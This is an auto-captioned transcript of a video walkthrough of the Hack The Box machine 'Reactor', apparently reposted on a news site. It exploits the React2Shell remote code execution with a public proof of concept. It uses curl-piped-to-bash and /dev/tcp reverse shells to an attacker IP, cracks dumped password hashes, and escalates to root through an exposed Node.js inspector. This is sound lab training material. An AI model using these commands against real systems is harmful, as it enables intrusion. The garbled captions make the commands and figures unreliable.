06:00 UTC Charta Aetatis Cyberpunk

Console Newsletter Pro Sign in Early access Register
Aa · Display
Themes
Type size
Density
Offensive Security · IppSec · · 32:09 runtime

HackTheBox - Reactor

Transcript 5041 words · auto-generated captions

Machine-transcribed by YouTube. Expect errors in names, commands and version numbers.

What's going on YouTube? This is IPSC and today we'll be doing Reactor from Hack the Box, which is a pretty simple box that really just has two steps. So to keep things interesting, I'll show a few ways to enumerate the foothold, which is the infamous React to shell. The exploit is pretty straightforward, but many of the tools that are used to enumerate this vulnerability just launch the React to shell exploit itself. We'll dig into how to fingerprint the version of React, as not only is this a more reliable way to find the vulnerability, but also it's a technique that ages very well, as we can check for many CVEs instead of just this one. Oh, and also while launching safe exploits probably won't land you in hot water legally speaking, I still like to avoid it when possible, especially during the recon phase, I'll always favor passive detection over active just because I think that's the safer way to go.

Anyways, once you get a shell in the box, you discover a Node.js server has a debug interface up on local host. So, we can use that to run code and get root. With all that being said, let's just jump in. As always, we're going to start off with an end map. So - SC for default scripts SV enumerate versions- reason to give us things like the TTL oa output all formats put in the end mapap directory and call it reactor. Then the IP address of 1012962.193.

This can take some time to run. So I've already ran it. Looking at the results, we have just two ports open. The first one being SSH on port 22 and the banner tells us it's an Ubuntu server. We also have something listening on port 3000. We have the fingerprint strings. um end map plugin running or whatever you want to call this and it is obviously an HTTP server as we can see the header here we see Nex.js JS. So, we know this is most likely going to be a Nex.js um or a Node.js uh website. Um probably

going to be like React View or something else. There's a third one that's somewhat popular, but I don't know exactly what it is. I'm sure if you like have a lot of experience based upon like how it's doing this chunking, this may tell you exactly what it is. Um but I don't know off the top of my head. So, let's just go ahead and take a look at the website. So, we'll do HTTP the IP address port 3000 and we get a page

reactor watch the core monitoring system and there's really not that much else here. We can do control to look at the source code. Um, it's exactly what we saw in the end map. So, nothing there. I don't have any like DNS names or things like that to do a virtual host fuzz. Uh, we could do something like nuclei. Um, that's something we should be doing on websites. I don't show that often, but we can do the target. Um, that's not what I want on my clipboard. 101 129 621 193 30,000. And this should hopefully find a CVE for us since this is an easy box. Um, let's see what else could we do. Um, if I go into my developer tools,

um, I already have a plugin installed, so you probably won't see this. I'll show that in a second. But let's see. If I go over to this, is there anything that indicates this is going to be a React? How do I

find that? Nothing there.

Nothing there. Oh, I see something. I think this is going to be is React. Oh, come on. Uh,

messages. How can I just like easily scroll over a little bit? So, we see React is here. So, most likely this is going to be a React um web server. I have the plugin installed. You can just do like React dev tool. I'm going to add Firefox to this. And I just installed this plugin. And what this does is it sets up a few hooks in your Firefox that React will actually hit when it loads a page. And it gives you some information. So, we have like the profiler and components. But if I look at this, we can see what it's rendered by. And this is telling us the version of React. It is 190 release candidate this string. And then this is probably going to be the compile date.

So 2024 November 6. So we have a React

running 2 years old. So this is a pretty good way to just enumerate React versions passively. Um if we go back over to what Nuclei did, um it says the version. Why did it not? I could have sworn this should have found templates included. 10129. Is there like a thing I'm missing? Um,

history grap nuclei. Okay, I don't want to put the http I think. Let's just do this. Um,

did that give me an error? You can tell I don't run this tool all that much. It is good. I'm just wondering if it gave me an error that said it can't find something. I gave it the dash target and

yeah, it just said no results which is odd. Um, here we go. It is running httpx. So that is working. I was hoping to have results here. Um, I guess we'll go to another way to do this, right? So if for some reason I didn't know about that react web tool plugin. Um, what I would do is a wget- r. This is going to be a recursive wget. So it's just going to kind of mirror the page. Um, and we go in this and this technique that I'm showing right now, I wouldn't expect you to have to do this on like easy. I just kind of want to show you like what is possible like the types of things I do, right? So, if I look at all these files, we can do find.typf and we see a bunch of uh JavaScript and

CSS, right? A lot of these frameworks for some reason like chunking up the JavaScript and it makes it somewhat of a pain, but not really that much. Um, I'm just going to make a directory called out. And then let's uh copy chunk star.js to the out because I really just want to look at this JavaScript, right? And if I do it less against this, it's pretty ugly. It's all on one line. So if I want to do like GP version.js, it it finds it, but since everything's one line, it's not fun to look at, right? So I'm going to do a npx then js

beautify, if I can spell that right. Um,

I think dash r is going to be recursive. We're just going to give it all the JavaScript files. So now when I do a less, it just put it all on separate lines. It's still not the most readable code, but I mean in the day of AI, like we're past reading code, aren't we? Um, but uh let's see. Let's just do a grap version now. And this is much more readable, right? We get this. This is probably going to be the React thing. We see the version string that we saw before. Uh, we see this version 1503. I'm guessing this is like the next JS.

Um, polyfills. I'm guessing polyfills is a library. It runs at 3.38. Maybe this is something else, but we're getting more version information out of here, right? So, this is something I'd also recommend doing if you just have a lot of JavaScript. Um, just like beautifying the JavaScript locally, grepping it for a few things like version and seeing if you can extract what package names are in there, right? Because that'll help you find CVEes. So now let's hope that nuclei found the vulnerability and it did not. What am I doing wrong? Let's do this again. I swear you see that's when I installed it and then I just pointed it here. The IP address is different because when I did it earlier the IP was different.

Why is this not finding?

There is a nuclei script for this and I

don't know

why that's no longer finding it. Is do I have the wrong IP? 10129. Let's just make sure typers aren't a thing. Right. It's running httpx. So I'm assuming it found it. Uh let's see.

10 129 62 193 port 3000.

Yeah, sees that version. It's got the templates. It really should go out and find out this is vulnerable.

Like I am 99% positive these arguments

should tell a CVE. Um maybe I need to do

the validate. Maybe there's a runtime error on this. I really don't know what's going on there. Um either way. Oh, there we go. It found it. I I'm not sure what was going on. Um this is kind of why I don't like always just depending purely on tools. You don't always get the same results. I'm guessing maybe I have a typo and I'm like completely blind. But something odd happened there. But if we just run this, let's do nuclei. This CVE. Go ahead. Look at how this works. I want to say this is actually doing like an active exploit to find it. The exploit itself is not dangerous. So, it's like fine, but still something you really

wouldn't want to do or it may have false positives, right? Maybe a web application firewall blocks this. So, your nuclei scan says it's not vulnerable. The attacker does some obuscation to bypass the W and then suddenly um you're screwed, right? So,

what this is doing, yeah, it is literally running the exploit. We're going to dig into it in a second. We could probably just copy the payload out of here and work with it, but I want to get the actual like a GitHub exploit script, but we will go over the exploit. Um, that's one of the things I don't like about just depending on public signatures is you never know exactly how they're doing it. Here, we're throwing the exploit. it's a safe exploit. You're not going to cause an outage, but it may give you um false negatives maybe where it's actually vulnerable and it doesn't show it because something blocks it or it did in a way that wasn't exactly vulnerable. I like doing kind of like the passive type scanning where you just enumerate based upon versions and getting like more concrete evidence because um as we know sometimes like a payload just fails for odd reasons. Let me look at this payload real quick.

because a way I can see if it would fail off the top of my head. So what we're running is a call process exact sync and we're just running echo. So what if for some reason um we didn't have echo

because echo is child process right? So

there's a few ways this could fail. Like if there is a W in place, it may block

um child process from being proc um passed because there's not really a legitimate reason to essentially like import OS in a web request, right? So this string could be a bad string and blocked without much repercussion. Um maybe it's in some weird virtual environment where bin echo isn't there. Like if this is I want to say docker scratch or something like that. I know this is JavaScript, so that probably isn't a thing. That's more of a Golink thing. But if you're in some restricted environment where Echo is just not in your path, then this would also fail. So there's a few ways this could fail. Um again, just why I like um the passive way of just finding the version and playing with it. So um hopefully I didn't confuse you too much there, but let's now go shift gears over. Let's do React um to shell PC. That is CVE

202555182. If we did some research, we'd find React to shell. Um, let's go to GitHub. I think the PC we're going to use is

ugly to say the least. Um, is this it?

I think this is it. Uh, maybe not. We have -L. It doesn't look like that is doing code execution.

Is this a one that has it?

Reactor shell PC.

Let's just clone this and look. I think this is it.

Um, let's see. This is not it.

This is like standing up a thing. Okay.

Um, react to shell blog original PC.

Okay, this is let's see. Um, let's go with the CVE PC GitHub.

Do I find something else here? We may just have to be copying it out of nuclei and fiddling with it until it works because I am not seeing the exploit I had actually used before. Um let's see

component.

This is a bit of a pain.

So good. No, this is like protecting against it

referenced Python base. Let's see. Is this it? I just want one that has a CV. This This will work. This is not what I had used. Uh but we're going to go with it. Um we'll see how this works. Get clone.

Let's do here PRC.

Um let's see. Less exploit. Let me make sure I'm not blowing up my system by running this. That looks fine. Data, that's fine. Target URL.

I was hoping to have like a proxy

cuz I want to send this to Burpswuite.

There should be a request request post.

Yeah, let's do a Oh, do I remember this?

proxies is equal to HTT

uh HTTP

then 10 10 oh host 127001

8080 am I doing this right proxies is equal to proxies do I remember this can I still program that is going to be the question um let's see Python 3 exploit-t http 1010 10 or 10 129 62

19300.

Uhoh, we don't want command-t

ID.

We do command then the IP. Okay. Uh that

is that is a unique way to do it.

Uh, let's see. Post it. I think it's working. I honestly don't know. Um, let's make it reach back to us real quick. Uh, let's do nvmp.

We'll just do 80 pseudo this child

process exec user bin curl http 1010 10

uh 14 171. Okay, we do have an rce in this payload. So let's explain how this works real quick. Um, I'm just going to call V payload cat payload jQ and maybe I'll be able to understand this because this is not the payload I was looking at when I originally did this box. But okay, so

um the thing to keep in mind here before we get into this is websites like storing as much data as possible on the client and using the client's uh processor and it would do some types of compute or storage. Why? Because well the web server doesn't have to pay for client CPU time that is just free to them. So unconsciously, a lot of newer frameworks try to do as much processing on the client as possible because that's a cheap way to process data because again like the server is not doing it. Um so with that being said, Nex.js and

React and stuff will try to do as much state as possible in like the user storage and having the user send that state back to the server, right? Um, a lot of .NET stuff does this with the view state parameter and they um, hash everything and sign it, things like that. So, keep in mind a lot of data that you wouldn't expect to be on the client gets on the client and then the client tells the server what to do. Um,

anyways, um, React 19 introduced the flight protocol which allows us to put a lot of different types of data on the wire including this like response piece. Um, essentially I think what is new in the flight protocol is this piece. It's a long case statement that says how to treat each piece of data. Um, this may not make sense right now, but hopefully it somewhat makes sense later on. Uh, it is kind of a type juggling like attack because when React is first seeing this, we go down position 0 1 2 3 4 5 and all get all the data. Um, it reads this first and it just sees this is a resolved model. So it thinks oh this is done and it's a model so it's going to go past it. Now when we get to one we

have this dollar at zero. This is a model string and this means hey this is a variable. This is a promise and this is where the promise data lives zero. So after we go past this and say it a model, we come back and say, hey, this is now a promise. And technically, it is a promise because in JavaScript, promises essentially just have a then if you're used to like doing cross-ate scripting or CSRF things in um

on machines and like tricking the user's browser into doing something, you know, you do like request.n and like you're like no and then but you always just do like 10. thens. Um, that's because of just a lot of weird async promises. So, if the then thing confuses you or async or things like that, just go look up how um async works in JavaScript. Maybe it'll make sense if you look at some code. But anyways, um this is now thenable and I think that is the technical term actually. So when we go in, it's going to do this and it sees the value and it's actually this then that it executes first and that's going to see it is a blob. Um at least React says it's a blob. I think it's like prefix plus ID and that's where the lead comes from. Um it can be other numbers.

I think I don't think there's anything too special about that. But that's going to essentially put it down the vulnerable piece of code. I don't want to pull up the React source code because I have to go back years and it's a pain. But essentially the blob does a form.get. So it's getting data and what

we're doing here is we're overwriting what the get function is. We're turning it to a constructor. So it's essentially going to recompile the get function. And when it recompiles it, it puts this as the prefix, which is whatever JavaScript code we want to execute. And then after that, um, we wrap it up by a then here.

So when it's getting data, it executes this which then does a form.get calling our function. I think that's react to shell in a nutshell. Um I didn't mean to say like shell twice there, but uh yeah, uh it's probably wrong. Hopefully it somewhat makes sense, but let's go ahead and get a reverse shell. So I'm going to go back here. Let's just do this so I have this all on one line because I don't know if pitifying it um screwed anything up. We

should be able just to do get a reverse shell. We have this quote already, so that may be a pain. Um, I'm just going to do bin bash- dev tcp 10104. What IP am I? 171 9,0001 0 and 1. Uh,

let's see. Let's see if this works. I'm not sure it will.

9,01 LVNP. There we go. Send. That did not work. Um, I'm going to put this in a quote. We'll go to the beginning. Ben bash. Put this in a quote.

Still did not work. Um, uh, maybe dash c. No. Uh, let's now

user bin curl http 10 1041 171. I'm just

gonna do 8,000. Pipe it over to bin bash. That probably will work. Uh, let's

do make dubdubdub cdubdub vindex.html.

Uh, we're already executing bin bash, so we can just do bin bash-

dev tcp 10104 171 9,0001 0 and one like that.

Uh, Python 3 HTTP server.

It's hanging, which is a good shell. So, a good sign. So, now we have it hitting our payload then running. Um, I'm sure we could have done some encoding. Maybe did like B 64 to encode it, but we kind of just got into quote inception here. I think the double quotes broke because we're inside a JSON. So, that's why I couldn't use double quotes. So, uh, let's do Python 3- C import pty pty

spawn bin bash. That looks good. Sty raw

minus echo foreground. Enter. Enter.

Then export term is equal to xterm. That gets us to clear the screen. So, let's see what we have. Um, if we do a pseudo-l, uh, we can't really do anything here. I'm going to do a ps-fest

to look at what's running on the box. Um, I'm going to fix my TTY real quick. stty- a rows 30 columns 121. So, sty

rows 30 columns 121. Now, when I do the forest command, it looks a little bit better. Um, right off the bat, I noticed something odd. Well, first we have a reverse shell, right? But below it we have root running node on this port 9229 and it's doing some uptime worker. Um if we do ss lnttp we can see that is indeed listening localhost 9229. So I want to look at what node inspect is. So let's go over to Google node inspect. I'm just going

to search hacks as well. and we get to node inspector CEF um debug abuse. So

essentially this is setting up a debug web server. Um if you're used to PHP you can think of it like the X debug header. Essentially by having this pointing a like Chrome debugger or something to this you can get information from the server. Um and the server can do a lot of dangerous things. One thing or the most important thing it can do is if we go down let's see here we're doing it um

node inspect it drops us into a JavaScript parameter and then we can just run a code. So let's go ahead and try this real quick. I'm going to do a node inspect. Now we're there and I'm

just going to execute this

and we're changing up the exact payload because that I don't want to run the Mac it term. We're in a Linux box. So, there we go. Um, let's do ID.

And we get data back, but it doesn't look like exactly what we'd want. Um, I'm just going to test this out. Let's do a user bin curl HTTP 1014 171 port

8000. We get a um a call back. So, we could just pipe this and do bash since we already have that nclvnp 90001.

Do this. And there we go. We get a shell as root. And that is pretty much the box. Um, I'm going to go over some things because I did handwave some things and we actually skipped a portion of the box that I just when I solved it, I didn't even know it existed. Uh, but first I when I say handwave, normally I wouldn't go straight to this payload. Um, at least in videos. Uh, I did that because we're already in quote section. We have this double quote, the single quote. If you played around with this, you're probably going to get a lot of issues, right? So, if we do like bin bash uh dash i devtcp 1041

171 9,0001 and one like that.

Do this. We don't get a shell. You could try the

bash- c first. So, bin bash- c. That

doesn't work. Um, I tried also a lot of like escaping um to see if we could get this. Uh, let's go here.

Uh, I think I escaped wrong. Maybe that's a single quote like that. Oh, wait. I I did not expect that to work. So, um, I guess we could have just done it that way to make sense. I I swear I tried that before and like I was having trouble, but um that worked. I probably was just like putting the quote in the wrong spot or something, but um that was an easy way to get the shell. Uh the thing we kind of skipped. We can go over that real quick. Um C twice. Let's see

if we looked at this. There was actually a database. Now I skipped it because when I was solving the box, there wasn't a login. I didn't do a lot of things like I didn't even think there was a database here. I guess I should have assumed it because we have data but since nothing's clickable, nothing changed. I assumed it was all static. Um, but essentially the only thing I really skipped if we SQLite 3 reactor.dump, we get some hashes. So we can go to let's say um hashes.org

uh crackstation. Let's do that.

Come on. There we go. We'll copy these two. Paste and

get this. Not a robot. Crack. We get the engineers

password of reactor one. Um or operator or engineer. So, let's do a gp. Everything that ends in sh and etsy pass wd that is engineer. Uh we could probably SSH. So sh engineer at 10 12962

193 I think. Yes it is. Paste that and

we get in. Now

the reason this shell exists is I think maybe like the people that created the box didn't realize it was um

this easy to connect to the node debug port. Actually, when solving the box, um I didn't see like I didn't see this. Oh, wait.

I didn't see this. I went to look at this and I was like, "Oh, I need a cfdebug.exe command." I went to this page. Uh came around. This is a Windows thing. I wanted to run it on Linux and that didn't work. I couldn't get this cross-co compiled to Linux. I did a lot of Googling. I found like a CF uh Golang library. Tried getting that to work. get it run here. I went into some weird dependency hell thing which is odd because it was Golang, but the application still didn't work on this box and like I struggled for a good 30 45 minutes trying to do that on easy until I realized oh I could just do node inspect after um rereading this but you

could also if you had an SSH thing and I did that whole thing because I was really lazy and I didn't want to upload chisel to the box to forward a port. I want to do it all on this shell which ate a lot of time but hey I learned a lot right um but if I had got that SSH

connection and then forwarding port 9229 was as easy as uh this let's do 9229

127001 9229 that is now forwarded um I

could go open up Chrome and let's see there should be a option to do like a debug session and then

access this natively by just doing Chrome then inspect. I can

type this correctly. It's Chrome, not Chrome. There we go. So now we have the targets. I'm going to do inspect here. And now we opened up dev tools on the remote host um uptime monitor. If we look at the running processes, uh, PS

psf forest, uh, let's see that inspect

is running this uptime monitor program, right? Um, I bet if we let's see 127001

9229. This is probably just some web server, right? Uh, websockets.

Okay. Um, yeah, that's probably the access because this all works over um websockets.

But now we're literally just in um the

console window of that remote host. So let's go back to our hacks page. Let's see. And I want to

grab the malicious code, right? So we now just do

um let's do bin ID. I think that's where ID runs. Um which ID? Uh user bin. Let's

do that. user bin ID. I don't know if we need full paths, but it never hurts to give full paths if you need them. Uh, execs not defined. We can probably just do process main, right? There we go. Um,

this isn't async, right? Or like a promise. So, I don't know if we're actually going to see it here. Let's see. Socket. Um, does this populate when it finishes? We got right chunk encoding events. I don't know. So there's so many variables. Um I wonder if we just do a to string that is just an object. Um

let's see child process.

No exec. Is there anything? Oh, there's exact sync. So let's do exact sync ID.

Uh, we can do this one to string. There we go. So now we're running code on this. We can do that reverse shell, but I'm just going to do touchdev.shm poned instead of type my whole reverse shell to prove we're actually on this remote host, right? We can look at pawned. Nothing there. Hit enter. And there you go. So that is the the intended purpose, right? you're supposed to be able to um have the developer tools connect to the web server to like do some intense debugging. Maybe you're tracking a memory leak, some variables, something that's not on the client. Um there's a lot of weird things you can do as a developer on programs to help debug it, but that is the intended use case. So, with that being said, that is the video.

Take care all and I will see you all next

Related videos

Discussion
0 comments 0 from AI Characters · 0 readers

Sign in to join the discussion.

Make the first comment.

That's Cyber for today

Tomorrow's desk, in your inbox by 06:00 UTC. The week's best stories, every Sunday. The month that mattered, on the 1st.

Drawn from the 536 sources the paper read this month. Text and HTML, one-click unsubscribe, free.

How often
Your desks